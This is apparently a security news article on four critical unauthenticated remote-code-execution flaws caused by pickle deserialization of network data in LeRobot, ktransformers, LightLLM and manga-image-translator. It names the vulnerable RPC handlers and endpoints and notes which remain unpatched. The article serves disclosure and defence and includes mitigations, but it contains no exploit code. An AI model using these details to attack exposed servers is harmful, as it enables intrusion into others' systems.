One Researcher, Four Critical RCE Bugs in AI Frameworks

A single security researcher has uncovered a pattern of critical remote code execution vulnerabilities across four popular AI and machine learning frameworks, all stemming from the same root cause: unsafe pickle deserialization over network connections.

Valentin Lobstein, who publishes under the handle Chocapikk, disclosed four CVEs this week affecting HuggingFace's LeRobot, KVCache.AI's ktransformers, and ModelTC's LightLLM. Each vulnerability carries a CVSS score between 9.3 and 9.8, and none require authentication to exploit.

TL;DR

• What happened: Four critical RCE vulnerabilities found in AI frameworks using pickle.loads() on network data
• Who's affected: LeRobot (21,500 GitHub stars), ktransformers (16,500 stars), LightLLM (3,890 stars)
• Severity: CVSS 9.3-9.8 (Critical) - unauthenticated network access enables code execution
• Action required: Avoid exposing affected services to untrusted networks until patches ship

The Pickle Problem in ML Infrastructure

Python's pickle module can serialize nearly any object, including executable code. When a server calls pickle.loads() on attacker-controlled data, it executes arbitrary Python during deserialization. This is not a bug in pickle itself - it is working exactly as designed.

The vulnerability class has plagued Python applications for years, but AI/ML frameworks have become a particularly fertile hunting ground. Developers prioritize rapid prototyping over security hardening, and pickle remains the path of least resistance for moving complex objects between processes.

This pattern extends beyond pickle to other AI model file formats that enable code execution, as we covered earlier today with SGLang's Jinja2 template injection vulnerability. The rush to deploy ML infrastructure has created an industry-wide blind spot.

CVE-2026-25874: LeRobot gRPC PolicyServer

HuggingFace's LeRobot, an open-source robotics framework with 21,500 GitHub stars, exposes a gRPC PolicyServer in its async inference module. Two RPC handlers deserialize incoming data without validation:

• SendPolicyInstructions at line 127
• SendObservations at line 185

Both call pickle.loads() on attacker-controlled network data. The developers acknowledged the risk by adding # nosec comments to suppress security linter warnings, but implemented no actual mitigation.

The server uses add_insecure_port() with no TLS or authentication. According to Lobstein's writeup, "any machine on that network can execute arbitrary code on your GPU server."

A private security report submitted in December 2025 received no response for over a month. In January 2026, a maintainer acknowledged "this does pose a security risk" but took no action. CVE-2026-25874 was published on April 23, 2026, with no patch available.

CVE-2026-26210: ktransformers ZMQ Scheduler

ktransformers from KVCache.AI implements a ZeroMQ-based scheduler for its balance_serve backend. The ROUTER socket binds to all network interfaces, accepts connections without authentication, and forwards messages to worker threads that call pickle.loads() on raw bytes.

The attack surface expands significantly in Docker deployments. The project's official Docker configuration uses --network=host, which bypasses container network isolation entirely. This means the vulnerable ZMQ port is directly exposed on the host network.

Lobstein discovered the vulnerability on February 11, 2026. CVE-2026-26210 was published April 23, 2026, with a fix PR submitted the same day.

CVE-2026-26220: LightLLM WebSocket Endpoints

LightLLM's prefill-decode disaggregation system exposes two WebSocket endpoints vulnerable to pickle deserialization:

• /pd_register for worker registration
• /kv_move_status for KV-cache transfer status

The server's architecture includes an explicit assertion that prevents binding to localhost. As Lobstein notes, these endpoints are "always network-exposed by design."

LightLLM's response pattern has been particularly concerning. Issue #784, submitted in March 2025, reported a similar ZMQ deserialization vulnerability. A maintainer promised "we will try to fix this soon" - eleven months later, it remains unpatched. A private security report in November 2025 received no response.

The identical vulnerability class in vLLM received CVE-2025-32444 with a perfect CVSS 10.0 score. Despite this precedent and active project maintenance, LightLLM has not addressed the issue.

A Fourth Target: manga-image-translator

Lobstein also found pickle deserialization in manga-image-translator (CVE-2026-26215), where two FastAPI endpoints call pickle.loads() on HTTP request bodies. A nonce-based authentication check defaults to an empty string, so the validation logic never executes.

The Deeper Pattern

This research reveals a systemic issue in ML infrastructure security. Pickle became the default serialization format because it handles arbitrary Python objects. When these frameworks evolved from research tools to production services, nobody replaced the convenient-but-dangerous serialization layer.

Half of popular HuggingFace repositories still contain pickle models despite the push toward safetensors. The problem has expanded from "loading untrusted model files" to "deserializing untrusted data over production networks."

We covered a similar pattern in LMDeploy's SSRF vulnerability last week, where attackers weaponized an AI inference server within 12 hours of disclosure. The attack surface in ML infrastructure continues to expand faster than security practices can mature.

Recommended Mitigations

Organizations running affected software should:

1. Network isolation: Place ML inference services behind authentication proxies and restrict network access to trusted clients only
2. Serialize safely: Replace pickle with JSON, MessagePack, or protobuf for network-facing interfaces
3. Monitor for updates: Watch for security patches in ktransformers (PR #1944 pending) and other affected projects
4. Audit similar systems: Review any ML infrastructure using pickle, ZMQ, or gRPC for similar exposure patterns

Why This Matters

These vulnerabilities share a common thread: ML frameworks built for research convenience deployed in production without security review. A single researcher auditing pickle usage found four critical RCE bugs in a few months. The actual exposure across the AI ecosystem is likely far larger.

As organizations race to deploy large language models and robotics systems, the gap between ML capability and security maturity creates opportunities for attackers. Treating inference servers like traditional production infrastructure - with proper authentication, network segmentation, and input validation - remains the exception rather than the rule.